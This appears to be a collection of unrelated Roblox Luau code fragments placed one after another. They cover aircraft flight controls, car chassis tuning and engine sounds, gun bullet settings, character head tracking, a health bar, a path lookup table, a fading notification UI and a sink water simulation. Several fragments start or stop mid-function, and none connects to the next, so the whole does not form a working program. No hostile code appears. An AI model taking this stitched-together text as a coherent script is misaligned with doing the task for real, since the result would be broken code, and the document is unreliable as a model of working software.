-- local throttleNeeded =
local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max)) stallLine = (stallLine > 1 and 1 or stallLine) panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0) panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0)) if (change == 1) then currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed else currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed) end local tax,stl = taxi(),stall() if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall: if ((realSpeed > -10000) and (realSpeed < 10000)) then currentSpeed = realSpeed else currentSpeed = (stallSpeed+1) end end lastStall = stl move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank) if (tax) then if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground move.maxForce = Vector3.new(0,0,0) gyro.maxTorque = Vector3.new(0,0,0) else move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi gyro.maxTorque = Vector3.new(0,math.huge,0) gyro.cframe = CFrame.new(main.Position,m.Hit.p) end elseif (stl) then move.maxForce = Vector3.new(0,0,0) -- Stall gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) else move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) end if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode plane.AutoCrash.Value = true end updateGui(tax,stl) -- Keep the pilot informed! wait() end end script.Parent.Selected:connect(function(m) -- Initial setup selected,script.Parent.CurrentSelect.Value = true,true mouseSave = m game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Attach m.Icon = "http://www.roblox.com/asset/?id=2763570264" -- Mouse icon used in Perilous Skies gui.Parent = player.PlayerGui delay(0,function() fly(m) end) -- Basically a coroutine m.KeyDown:connect(function(k) if (not flying) then return end k = k:lower() if (k == keys.engine.key) then on = (not on) main.FE.OnFE:FireServer() -- FE if (not on) then throttle = 0 main.FE.OffFE:FireServer() -- FE end elseif (k == keys.landing.key) then main.FE.GearFE:FireServer() -- FE elseif (k:byte() == keys.spdup.byte) then keys.spdup.down = true delay(0,function() while ((keys.spdup.down) and (on) and (flying)) do main.FE.SpeedUpFE:FireServer() -- FE throttle = (throttle+throttleInc) throttle = (throttle > 1 and 1 or throttle) wait() end end) elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = true delay(0,function() while ((keys.spddwn.down) and (on) and (flying)) do main.FE.SlowDownFE:FireServer() -- FE throttle = (throttle-throttleInc) throttle = (throttle < 0 and 0 or throttle) wait() end end) end end) m.KeyUp:connect(function(k) if (k:byte() == keys.spdup.byte) then keys.spdup.down = false elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = false end end) end) function deselected(forced) selected,script.Parent.CurrentSelect.Value = false,false game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom gui.Parent = nil flying = false pcall(function() if on == false then move.maxForce = Vector3.new(0,0,0) if (taxi()) then gyro.maxTorque = Vector3.new(0,0,0) end end end) if (forced) then if (mouseSave) then mouseSave.Icon = "" -- If you remove a tool without the actual deselect event, the icon will not go back to normal. This helps simulate it at the least wait() end script.Parent.Deselect1.Value = true -- When this is triggered, the Handling script knows it is safe to remove the tool from the player end end script.Parent.Deselected:connect(deselected) script.Parent.Deselect0.Changed:connect(function() -- When you get out of the seat while the tool is selected, Deselect0 is triggered to True if (script.Parent.Deselect0.Value) then deselected(true) end end)
--ai memory
local goalPos local lastAttack = time() local attackTime = .3 local atkDamage = 20 local goalHumanoid local running local running2 local crawling local limp = {} for i = 1, 10 do limp[i] = (math.random() * 2) - 1 end
-- Activation]:
if TurnCharacterToMouse == true then MseGuide = true HeadHorFactor = 0 BodyHorFactor = 0 end game:GetService("RunService").RenderStepped:Connect(function() if shooting then if tool.Parent == plr.Character then if mouse.Hit and mouse.Target ~= plr.Character then remote:FireServer(mouse.hit.p) end end end if tool.Parent == plr.Character then local CamCF = Cam.CoordinateFrame if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[Check for the Torso and Head...] local TrsoLV = Trso.CFrame.lookVector local HdPos = Head.CFrame.p if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.] if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then local Dist = nil; local Diff = nil; if not MseGuide then --[If not tracking the Mouse then get the Camera.] Dist = (Head.CFrame.p-CamCF.p).magnitude Diff = Head.CFrame.Y-CamCF.Y if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.] Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else --[R15s actually have the properly oriented Neck CFrame.] Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2) end else local Point = Mouse.Hit.p Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y if not IsR6 then Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2) end end end end end if TurnCharacterToMouse == true then Hum.AutoRotate = false Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2) else Hum.AutoRotate = true end else Hum.AutoRotate = true end end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 1 -- cooldown for use of the tool again ZoneModelName = "LB blaster rise zone 5" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Start the tween
local currhealth = nil hum.HealthChanged:Connect(function(health) script.Parent.Text = tostring( math.floor((health/hum.MaxHealth) * 100)).."%" -- print(health/hum.MaxHealth) currhealth = math.floor((health/hum.MaxHealth) * 100) if currhealth >=75 then colorcahnge(Color3.new(0, 1, 0.498039)) elseif currhealth < 75 and currhealth >= 25 then colorcahnge(Color3.new(1, 1, 0)) else colorcahnge(Color3.new(1, 0, 0)) end end) hum.Died:Connect(function() model:PivotTo(cframe) model.Parent = workspace task.wait(1) hum.Parent:Destroy() end)
--[[ TransparencyController - Manages transparency of player character at close camera-to-subject distances 2018 Camera Update - AllYourBlox --]]
local MAX_TWEEN_RATE = 5 -- per second local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- Support for options partial implementation -- see: https://nodejs.org/dist/latest-v16.x/docs/api/util.html#utilinspectobject-options
export type InspectOptions = { depth: number?, } type FormatOptions = { depth: number, } local MAX_ARRAY_LENGTH = 10 local DEFAULT_RECURSIVE_DEPTH = 2
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{37,35,39,41,30,56,58},t}, [49]={{37,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{37,35,39,41,30,56,58,20,19},t}, [59]={{37,35,39,41,59},t}, [63]={{37,35,39,41,30,56,58,23,62,63},t}, [34]={{37,35,34},t}, [21]={{37,35,39,41,30,56,58,20,21},t}, [48]={{37,35,34,32,31,29,28,44,45,49,48},t}, [27]={{37,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{37,35,34,32,31},t}, [56]={{37,35,39,41,30,56},t}, [29]={{37,35,34,32,31,29},t}, [13]={n,f}, [47]={{37,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{37,35,34,32,31,29,28,44,45},t}, [57]={{37,35,39,41,30,56,57},t}, [36]={{37,36},t}, [25]={{37,35,34,32,31,29,28,27,26,25},t}, [71]={{37,35,39,41,59,61,71},t}, [20]={{37,35,39,41,30,56,58,20},t}, [60]={{37,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{37,35,39,41,59,61,71,72,76,73,75},t}, [22]={{37,35,39,41,30,56,58,20,21,22},t}, [74]={{37,35,39,41,59,61,71,72,76,73,74},t}, [62]={{37,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{37},t}, [2]={n,f}, [35]={{37,35},t}, [53]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{37,35,39,41,59,61,71,72,76,73},t}, [72]={{37,35,39,41,59,61,71,72},t}, [33]={{37,36,33},t}, [69]={{37,35,39,41,60,69},t}, [65]={{37,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{37,35,34,32,31,29,28,27,26},t}, [68]={{37,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{37,35,39,41,59,61,71,72,76},t}, [50]={{37,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{37,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{37,35,34,32,31,29,28,27,26,25,24},t}, [23]={{37,35,39,41,30,56,58,23},t}, [44]={{37,35,34,32,31,29,28,44},t}, [39]={{37,35,39},t}, [32]={{37,35,34,32},t}, [3]={n,f}, [30]={{37,35,39,41,30},t}, [51]={{37,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{37,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{37,35,39,41,59,61},t}, [55]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{37,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{37,35,38,42},t}, [40]={{37,35,40},t}, [52]={{37,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{37,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{37,35,39,41},t}, [17]={n,f}, [38]={{37,35,38},t}, [28]={{37,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{37,35,39,41,30,56,58,20,19,66,64},t}, } return r
--//INSPARE//--
local player = game.Players.LocalPlayer local lightOn = false
--clones this to startergui
script.SpawnGui.Parent=game.StarterGui
-- Constants
local DEBUG = false -- Whether or not to use debugging features of FastCast, such as cast visualization. local BULLET_SPEED = 50 -- Studs/second - the speed of the bullet local BULLET_MAXDIST = 1500 -- The furthest distance the bullet can travel local BULLET_GRAVITY = Vector3.new(0, -workspace.Gravity, 0) -- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity) local MIN_BULLET_SPREAD_ANGLE = 1 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot. local MAX_BULLET_SPREAD_ANGLE = 2 -- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience. local FIRE_DELAY = 0 -- The amount of time that must pass after firing the gun before we can fire again. local BULLETS_PER_SHOT = 1 -- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect.
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --RPM RPM() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end) -- ~15 c/s while wait(.0667) do --Power Engine() --Flip if _Tune.AutoFlip then Flip() end if Stats.Fuel.Value <= 0 then _IsOn = false end end
--[[ Stores common type information used internally. These types may be used internally so Fusion code can type-check, but should never be exposed to public users, as these definitions are fair game for breaking changes. ]]
local Package = script.Parent local PubTypes = require(Package.PubTypes) type Set<T> = {[T]: any}
--CHANGE THIS LINE--
Signal = script.Parent.Parent.Parent.ControlBox.PedValues.PedSignal1 -- Change last word
--[=[ An object that can have the method :Destroy() called on it @type Destructable Instance | { Destroy: function } @within MaidTaskUtils ]=]
--[[Engine]]
--Torque Curve Tune.Horsepower = 400 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing local playergui = service.PlayerGui local frame = gui.Frame local msg = gui.Frame.Message local ttl = gui.Frame.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time if not data.Message or not data.Title then gui:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local blur = service.New("BlurEffect") blur.Enabled = false blur.Size = 0 blur.Parent = workspace.CurrentCamera local fadeSteps = 10 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.1 local strokeStep = 0.1 local gone = false local function fadeIn() if not gone then blur.Enabled = true gTable:Ready() --gui.Parent = service.PlayerGui for i = 1,fadeSteps do if blur.Size<blurSize then blur.Size = blur.Size+blurStep end if msg.TextTransparency>textFade then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if msg.TextStrokeTransparency>strokeFade then msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep end if frame.BackgroundTransparency>frameFade then frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep end task.wait(1/60) end end end local function fadeOut() if not gone then for i = 1,fadeSteps do if blur.Size>0 then blur.Size = blur.Size-blurStep end if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep end task.wait(1/60) end blur.Enabled = false blur:Destroy() service.UnWrap(gui):Destroy() gone = true end end gTable.CustomDestroy = function() if not gone then gone = true pcall(fadeOut) end pcall(function() service.UnWrap(gui):Destroy() end) pcall(function() blur:Destroy() end) end --[[if not scroll then msg.Text = message else Routine(function() task.wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) task.wait(0.05) end end) end--]] -- For now? fadeIn() task.wait(tim or 5) if not gone then fadeOut() end --[[ frame.Position = UDim2.new(0.5,-175,-1.5,0) gui.Parent = playergui frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5) if not scroll then msg.Text = message task.wait(tim or 10) else task.wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) task.wait(0.05) end task.wait(tim or 5) end if frame then frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5) task.wait(1) gui:Destroy() end --]] end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 180 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 40 , -- Increment between labelled notches } }
--[[ Novena Constraint Type: Motorcycle The Bike Chassis RikOne2 | Enjin --]]
local bike = script.Parent.Bike.Value local FE = game.Workspace.FilteringEnabled local C=game.Players.LocalPlayer.Character local handler = bike:WaitForChild("Anims")
-- FUNCTIONS --
local function checkHolding() end Tool.Equipped:Connect(function() Equipped = true Char = Tool.Parent HumRP = Char:WaitForChild("HumanoidRootPart") Humanoid = Char:WaitForChild("Humanoid") Animations = { ["Z"] = Humanoid:LoadAnimation(script.Animations.Z), ["X"] = Humanoid:LoadAnimation(script.Animations.X), } if not loopConnection then loopConnection = game:GetService("RunService").RenderStepped:Connect(function() if UIS:IsKeyDown(Enum.KeyCode.Z) then if Char:FindFirstChild("Disabled") then return end if not Z then if Equipped and not CS:HasTag(Char, "Z") and not CS:HasTag(Char, "Busy") then SkillsHandler:FireServer("Skill", Tool.Name, "Hold", "Z") end end Z = true else if Z then isHolding = false SkillsHandler:FireServer("Skill", Tool.Name, "Release", "Z", Mouse:GetHit().Position, Char.HumanoidRootPart.CFrame) Animations.Z:AdjustSpeed(1) end Z = false end end) end if not holdingConnection then holdingConnection = Holding.Changed:Connect(function() coroutine.wrap(function() if Holding.Value ~= "None" then HumRP.Anchored = true isHolding = true if Holding.Value == "Z" then Animations.Z:Play() Animations.Z:GetMarkerReachedSignal("Idle"):Connect(function() if isHolding == true then Animations.Z:AdjustSpeed(0) end end) repeat HumRP.CFrame = CFrame.lookAt(HumRP.Position, Vector3.new(Mouse:GetHit().Position.X, HumRP.Position.Y, Mouse:GetHit().Position.Z)) task.wait() until Holding.Value ~= "Z" elseif Holding.Value == "X" then Animations.X:Play() Animations.X:GetMarkerReachedSignal("Idle"):Connect(function() if isHolding == true then Animations.X:AdjustSpeed(0) end end) repeat HumRP.CFrame = CFrame.lookAt(HumRP.Position, Vector3.new(Mouse:GetHit().Position.X, HumRP.Position.Y, Mouse:GetHit().Position.Z)) task.wait() until Holding.Value ~= "X" end else HumRP.Anchored = false end end)() end) end end) Tool.Unequipped:Connect(function() Equipped = false if loopConnection ~= nil then loopConnection:Disconnect() loopConnection = nil end if holdingConnection ~= nil then holdingConnection:Disconnect() holdingConnection = nil end end)
--Weight Setup--
uv = script.Parent.CFrame.upVector local distribution = WeightDistribution --0-100%, how much of the weight is in the rear, 50 = 50%/50% local DistA = (distribution/25) local DistB = ((100-distribution)/25) local Dist1 = math.max(0,DistB-1) local Dist2 = math.min(DistA,1) local DistF = (FL.Position+FR.Position)*Dist1 local DistR = (RL.Position+RR.Position)*Dist2 local DistD = (Dist1+Dist2)*2 local weight = Instance.new("Part") weight.Parent = script.Parent.Parent weight.CanCollide = false weight.Position = script.Parent.Position weight.CFrame = CFrame.new((DistF+DistR)/DistD) weight.Position = weight.Position + Vector3.new(0.9,0.9,0.9)*script.Parent.CFrame.upVector weight.Size = Vector3.new(3, 2, 4) weight.Rotation = script.Parent.Rotation weight.Name = "Weight" weight.Anchored = true local engine = Instance.new("Part") engine.Anchored = true engine.Parent = script.Parent.Parent engine.CanCollide = false engine.Position = script.Parent.Position engine.Position = engine.Position + Vector3.new(2,2,2)*script.Parent.CFrame.upVector engine.Size = (Vector3.new(1, 0.7, 0.7)*(EngineDisplacement/4000))+Vector3.new(2, 1.4, 1.4) engine.Rotation = script.Parent.Rotation engine.Name = "Engine" local fuel = Instance.new("Part") fuel.Anchored = true fuel.Parent = script.Parent.Parent fuel.CanCollide = false fuel.Position = script.Parent.Position fuel.Position = fuel.Position + Vector3.new(2.5,2.5,2.5)*script.Parent.CFrame.upVector fuel.Size = Vector3.new(2.5, 2.5, 7) fuel.Rotation = script.Parent.Rotation fuel.Name = "FuelTank" local trans = Instance.new("Part") trans.Anchored = true trans.Parent = script.Parent.Parent trans.CanCollide = false trans.Position = script.Parent.Position trans.Position = trans.Position + Vector3.new(3,3,3)*script.Parent.CFrame.upVector trans.Size = Vector3.new(2.7, 2, 2)*(AmountOfGears/7) trans.Rotation = script.Parent.Rotation trans.Name = "Transmission" local diff = Instance.new("Part") diff.Anchored = true diff.Parent = script.Parent.Parent diff.CanCollide = false diff.Position = script.Parent.Position diff.Position = diff.Position + Vector3.new(3.5,3.5,3.5)*script.Parent.CFrame.upVector diff.Size = Vector3.new(2, 2, 2) diff.Rotation = script.Parent.Rotation diff.Name = "Differential" fuel.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2) fuel.CFrame = fuel.CFrame + Vector3.new(3,3,3)*lv if Drivetrain == "RWD" then diff.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2) elseif Drivetrain == "FWD" then diff.CFrame = CFrame.new(((FL.Position)+(FR.Position))/2) engine.Rotation = engine.Rotation + Vector3.new(0,90,0) elseif Drivetrain == "AWD" then diff.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2) if TorqueSplit < 51 then engine.Rotation = engine.Rotation + Vector3.new(0,90,0) end end if EngineLocation == "Front" then engine.CFrame = CFrame.new(((FL.Position)+(FR.Position))/2) engine.CFrame = engine.CFrame + Vector3.new(2,2,2)*lv engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv trans.CFrame = engine.CFrame + Vector3.new(-1.5,-1.5,-1.5)*lv elseif EngineLocation == "Mid" then engine.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2) engine.CFrame = engine.CFrame + Vector3.new(2,2,2)*lv engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv trans.CFrame = engine.CFrame + Vector3.new(1.5,1.5,1.5)*lv elseif EngineLocation == "Rear" then engine.CFrame = CFrame.new(((RL.Position)+(RR.Position))/2) engine.CFrame = engine.CFrame + Vector3.new(-2,-2,-2)*lv engine.CFrame = engine.CFrame + Vector3.new(1,1,1)*uv trans.CFrame = engine.CFrame + Vector3.new(-1.5,-1.5,-1.5)*lv end rv = script.Parent.CFrame.rightVector
--[[function this:AttackMount( characterMainClass,character ) local Delay = 0 local Apologise = false if character.CharacterFolder.Stats.Health.Value <= 2 then if characterMainClass.RaceInfo.Apologetic == true then Apologise = true Delay = (character.CharacterFolder.Stats.Health.Value <= 1 and .7) or .0 end end if characterMainClass.LastMountPunchTime < ((time() - .7) - Delay) then characterMainClass.LastMountPunchTime = time() if Apologise then characterMainClass.Character.CharacterEvents.Misc.Apologise:FireServer() end delay(Delay,function() characterMainClass:PlayAnimation("KnockedDownMountPunch"..characterMainClass.NextPunch) characterMainClass:StopAnimation("KnockedDownMount"..characterMainClass.NextPunch) if characterMainClass.NextPunch == "R" then characterMainClass.NextPunch = "L" else characterMainClass.NextPunch = "R" end delay(0,function() if characterMainClass.isMounting then characterMainClass:PlaySound("facehit") character.CharacterEvents.States.KnockDownPunch:FireServer(characterMainClass.NextPunch) end end) delay(.65,function() if characterMainClass.isMounting then characterMainClass:PlayAnimation("KnockedDownMount"..characterMainClass.NextPunch) end end) end) --self.NextPunch = (self.NextPunch == ("R" and "L") or "R") end end]]
function this:Deconstruct( ) -- we're no longer using this class so let's deconstruct it. -- body end return this;
--handler:FireServer("playSound",Your sound here)
script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) function makeTable(snd,pit,vol) local tbl = {} table.insert(tbl,snd) table.insert(tbl,pit) table.insert(tbl,vol) return tbl end function update(tbl) for _,i in pairs(tbl) do if i[2]~=i[1].Pitch then i[1].Pitch = i[2] end if i[3]~=i[1].Volume then i[1].Volume = i[3] end end end local lt = 0 local start = false local play game["Run Service"].Stepped:connect(function() local _RPM = script.Parent.Values.RPM.Value local updtbl = {} mult=math.max(0,mult-.1) if script.Parent.Values.Throttle.Value <= 0/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > 0/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local function pitch(pit,rev) return math.max((((pit + rev*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),pit) end local volBase = ((throt*shift*redline)+(trm*trmon*trmmult*(throt)*math.sin(tick()*50))) local RevP = pitch(SetPitch,SetRev) * on local RevV = math.max(volBase * on,0) table.insert(updtbl,makeTable(car.DriveSeat.Rev,RevP,RevV*vol)) --table.insert(updtbl,makeTable(Your sound here, Pitch here, Volume here)) if workspace.FilteringEnabled then handler:FireServer("updateSounds",updtbl) else update(updtbl) end end)
----- water handler -----
while true do if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if BOTH ON and PLUGGED water.Scale = water.Scale + Vector3.new(0, 0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) hotWater = hotWater + 1 coldWater = coldWater + 1 drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if ON and PLUGGED water.Scale = water.Scale + Vector3.new(0, 0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) if script.Parent.HotOn.Value == true then hotWater = hotWater + 1 else coldWater = coldWater + 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 0.6 then -- if ON and NOT PLUGGED if script.Parent.HotOn.Value == true then coldWater = coldWater - 1 else hotWater = hotWater - 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED water.Scale = water.Scale + Vector3.new(0, -0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) coldWater = coldWater - 1 hotWater = hotWater - 1 drainSound.TimePosition = 0 drainSound:Play() end if coldWater < 1 then coldWater = 1 end if hotWater < 1 then hotWater = 1 end waterTemp = hotWater/coldWater if waterTemp > 1 then water.Parent.SteamEmitter.Enabled = true else water.Parent.SteamEmitter.Enabled = false end wait(0.1) if script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then script.Parent.Splash.ParticleEmitter.Enabled = true else script.Parent.Splash.ParticleEmitter.Enabled = false end if water.Scale.Y <= 0 then drainSound:Stop() end end
-- initiate
for _, player in pairs(Players:GetPlayers()) do HandlePlayer(player) end local map = Workspace:WaitForChild("Map") map.DescendantRemoving:Connect(function() wait(2) PLAYER:Kick() end)
--- Get the text entry label
function Window:GetLabel() return Entry.TextLabel.Text end
--[[Brakes]]
